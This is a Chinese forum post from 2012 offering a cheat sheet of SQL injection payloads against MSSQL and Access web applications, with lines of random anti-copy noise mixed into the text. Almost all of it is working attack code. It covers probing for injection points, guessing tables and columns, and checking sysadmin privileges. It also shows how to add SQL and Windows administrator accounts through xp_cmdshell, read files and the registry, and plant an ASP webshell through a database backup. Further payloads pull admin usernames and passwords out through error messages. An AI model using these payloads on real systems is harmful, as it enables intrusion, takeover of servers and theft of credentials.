找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1923|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 # y3 A; h9 `3 e, J3 F
;and 1=1
/ V* X% v. t( V/ }' u9 J  f;and 1=2 & k  @$ a7 b4 l7 k. A% R
2 F! }% V  E- a4 K3 R
2.初步判断是否是mssql , E6 [0 }: o% N, R& T
;and user>0 9 d$ c3 Z0 U8 S$ \$ m

  b; E2 B( l! O! P9 D+ F& p% v3.判断数据库系统 * ^" W/ G  w5 b* c; M
;and (select count(*) from sysobjects)>0 mssql 7 ^8 f" N8 a; x1 }
;and (select count(*) from msysobjects)>0 access & g9 W* l( d5 R" e
5 e! F+ @; c4 j
4.注入参数是字符
( a1 }( J4 Z4 O3 b# T, I'and [查询条件] and ''=' % b" a$ L8 p9 D  r% ?& n; J, B

/ @- O: b" n! h  v/ v5.搜索时没过滤参数的
& G" q) r! x2 Y8 l'and [查询条件] and '%25'=' 9 U( W2 G7 N; I% o
& \, L/ _5 s' D4 V$ G
6.猜数表名
8 [; x+ f2 v" [. }& f  f! x! K$ v;and (select Count(*) from [表名])>0 1 V- ?& ^1 p8 I& Q+ p1 H7 [

7 V/ q- i2 J' @) o+ f7.猜字段
! U  @! U' O$ a3 c- G' c( i;and (select Count(字段名) from 表名)>0
! C/ X/ b1 S7 f: K. f) N8 e, x# O
. m6 \& y1 p5 {+ K, c- [* ^8.猜字段中记录长度
3 S! I; Q) b0 W2 b+ Y- j) U;and (select top 1 len(字段名) from 表名)>0 1 j, D8 H" m* T( }
2 t, R' j6 z# _' x( A, _
9.(1)猜字段的ascii值(access) & p; ~" d2 y+ L. P
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
% r* g0 W, n3 S' h5 L- [
7 F0 E8 V) [' }! N8 Y" z! m9 h% ?(2)猜字段的ascii值(mssql) . O( V- q: [/ n* O8 u  u
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
# {" R# l0 y0 X% ^8 w% S+ @: f! J( _  x4 `4 G& C
10.测试权限结构(mssql)
7 P3 k: S1 B& f. v;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- \6 G( `! m/ `" [( Z3 b;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / J: w- N/ B: k& M1 e  S4 |
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 9 {# ~, X" J4 O) q2 t2 }
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
5 x. M! H- ], ~5 v4 ?9 ~( K;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- & j* t) d& ]5 r. A  ^1 T2 f, N
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- / _. p# N2 M& r& S9 r4 E
;and 1=(select IS_MEMBER('db_owner'));-- ; T; a3 o, U% V0 h$ o/ M% ]& B

- w/ J% ?) \) y6 o% E% _11.添加mssql和系统的帐户 9 |4 }0 v+ X( ~6 v+ Z7 S4 h! ~$ Y
;exec master.dbo.sp_addlogin username;-- / e- m7 X5 M( w1 U2 b4 o: \1 d
;exec master.dbo.sp_password null,username,password;-- 5 }* E: e) V/ {2 n- h
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
' Y3 B% g& a, t- y  G;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ; ?% `6 J( P- A) q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- . I9 T: q* w$ d1 S, ~- J
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
5 i" x* q. I0 G# i! a# `1 m
0 Y7 c6 S9 H8 Q12.(1)遍历目录 - n  K) C* t0 b# W
;create table dirs(paths varchar(100), id int)
9 {. ^- O1 q$ n;insert dirs exec master.dbo.xp_dirtree 'c:\' : V2 v4 c" M2 [9 b7 n8 t
;and (select top 1 paths from dirs)>0 2 {0 K; z9 X, m# s) o/ z' q5 {) R
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ' X8 j9 I& G) J. C# X; \
$ c( x6 s0 h  y" g/ z- _  \& d- e
(2)遍历目录
: o* [, r$ s' {4 \;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ( K7 V& I2 A  x# J& e9 F. e
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% N( r, \6 t! R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 , Y+ a* E3 Z0 b, h- h3 D
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
. H9 Q1 u9 a1 o7 ?* j;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , H) c$ O$ s% ]) r6 C
+ G. C! p9 S3 o# l
13.mssql中的存储过程 ; T5 ?. v0 W, n' A/ r% @+ |# l
xp_regenumvalues 注册表根键, 子键 ! p( p2 z5 ]2 a6 u, x
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
/ T6 E& J6 {- C- E, ?+ wxp_regread 根键,子键,键值名
) t1 n: [4 X3 {# h+ f+ I;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 S+ P, M" W4 G- b, C( g, l6 H
xp_regwrite 根键,子键, 值名, 值类型, 值 1 e1 B/ |" ]+ P: f$ k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% |* t' `4 V# s- n4 c4 l;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
9 O( K- H8 p* r' N6 h/ k" Gxp_regdeletevalue 根键,子键,值名
7 n; r; ]) [0 X3 h6 k& m6 R+ p# @' Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 7 k5 o0 g& c, `& Q* O
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
6 ?. ?, l! a6 |! X+ q6 S, f7 q
- Q" ?/ i4 L' }; k/ m14.mssql的backup创建webshell
& i6 E2 \' F; J% N4 J4 Xuse model 1 e4 Y# [+ r( q" Q. s
create table cmd(str image); ( R+ k* ?" {- F9 I, I
insert into cmd(str) values ('<% Dim oScript %>'); & K4 L8 V0 y" P4 n
backup database model to disk='c:\l.asp';
3 @5 ?& |3 ]' g
# G' {1 x( G# h' e% |  B0 u15.mssql内置函数
% e( C+ b( H, r+ _( D4 E. D;and (select @@version)>0 获得Windows的版本号   Q  ^9 N! e0 Z6 p* _/ B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8 [! R/ H0 j+ _4 G) C! o
;and (select user_name())>0 爆当前系统的连接用户 ' P0 }1 k/ b, p$ R- ~
;and (select db_name())>0 得到当前连接的数据库
7 }7 W/ [8 j1 Q4 e! _+ _3 D: |8 S) {# z1 c- U
5 Q' f% J. f" `6 m! B' x
* p. g, k- A  K
MSSQL手注暴库
4 s  Y4 Y. Q0 m4 M1 s  S1 C6 i. [4 }6 Y9 A& l' t
1.暴出当前表名和列名
& ^9 D4 `8 T+ \9 G4 R9 x在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
$ w: S7 z# B9 `2 t. d5 x% _+ v5 |( C
第一.爆出所有数据库名+ {& |) `( q; M+ b% {- N( O" o( I
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。' U+ g+ T$ _. W. N5 z* `' }) x
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
. p: Z* B; v  U
1 m4 V/ _" ], u2 H3 z; ]and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
/ {( U9 q7 A! r$ `' Y! G; Y: O6 H. Q$ l+ i3 _
+ l3 }" h1 C0 y& e# d  w% ]7 g. L
第二.爆出指定库中的所有表名
" [/ h  d! T& g得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
+ [; R  V8 E1 _再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。% C8 E6 v- r# N% `/ T
0 k1 P( F) y' F
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--5 d9 O; {: v" I1 R) k/ [  V
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
1 J, T, _% m7 E# jand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
( Z1 P/ ?% P$ N4 p+ E+ ]+ S% c" i' s+ O: s. a
4.爆出指定表中的所有列名
% S; }4 s  W6 M  s# `and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
/ j2 p* ?9 Q/ X" [( ~5 X3 ]//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
" J: x4 S( J! Y* I5 L6 L/ }
2 u& X" g; i  B4 cand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
$ {0 F! g  e$ G( m. U
5 z0 [+ l: Y1 ]再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
% v4 d4 E' p* ~依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
+ N, f, Q1 Z# S
8 h# e: ^! l; N, f9 b4 R  N+ q0 ^. `9 A
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
2 @7 m3 a! ?! E( m, N( i( a" V' p9 d8 T. U5 W! x+ |
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
: P2 P/ t' B# P3 K7 \7 F
6 B3 L8 w% r' G7 z; b7 {and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- + X! M+ f! \: N8 X$ j
) s3 q! \) I2 C1 u9 {# H- S8 x

2 @8 I& V* [; E8 h7 P7 W. f/ K8 O3 G* y
5.读取指定表中的数据2 ~( a3 C2 {8 t0 E% S, t

' ?! U# q  ^  `0 q. e; J$ ?and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ) z" c5 ?, t: A- C3 X% z$ q
/ ?! Z+ I7 c" E9 K; e: O1 H
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--0 U: L! f0 d! i, G
8 s2 R0 c1 a2 E3 a& e) w
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
5 [3 _4 r4 @  U  x  k
3 v3 U6 }" l- j' ^( r1 g) s9 o6 l3 O( ^4 A& h, e8 w
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
8 B( i+ t2 }% Y
  L) X& ?; K, J6 ]! dand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)$ M) G3 p: y2 u

/ U3 s& {/ H" V. z) \% T% Q; jand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
- q8 c" I2 K- h% L5 w6 }) b: M: G4 d: G; A; c8 ^
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
2 e2 W3 E# H- K) B8 s* O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表